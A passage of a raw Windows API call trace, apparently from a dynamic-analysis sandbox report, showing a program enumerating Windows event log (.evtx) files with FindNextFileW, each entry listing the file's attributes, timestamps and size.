FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1 [0135.906] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1 [0135.906] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1 [0135.907] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1 [0135.907] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1 [0135.907] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1 [0135.907] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1 [0135.907] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1 [0135.907] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1 [0135.907] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1 [0135.907] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1 [0135.907] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1 [0135.907] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1 [0135.908] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1 [0135.908] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1 [0135.908] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1 [0135.908] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1 [0135.908] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1 [0135.908] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1 [0135.909] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1 [0135.909] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1 [0135.909] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1 [0135.909] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1 [0135.909] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1 [0135.909] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1 [0135.909] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1 [0135.909] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1 [0135.910] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1 [0135.910] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1 [0135.910] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1 [0135.910] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", cAlternateFileName="MIB9D2~1.EVT")) returned 1 [0135.910] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1 [0135.910] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1 [0135.910] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1 [0135.910] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1 [0135.910] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1 [0135.910] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1 [0135.911] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1 [0135.911] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1 [0135.911] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1 [0135.912] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1 [0135.912] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1 [0135.912] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: 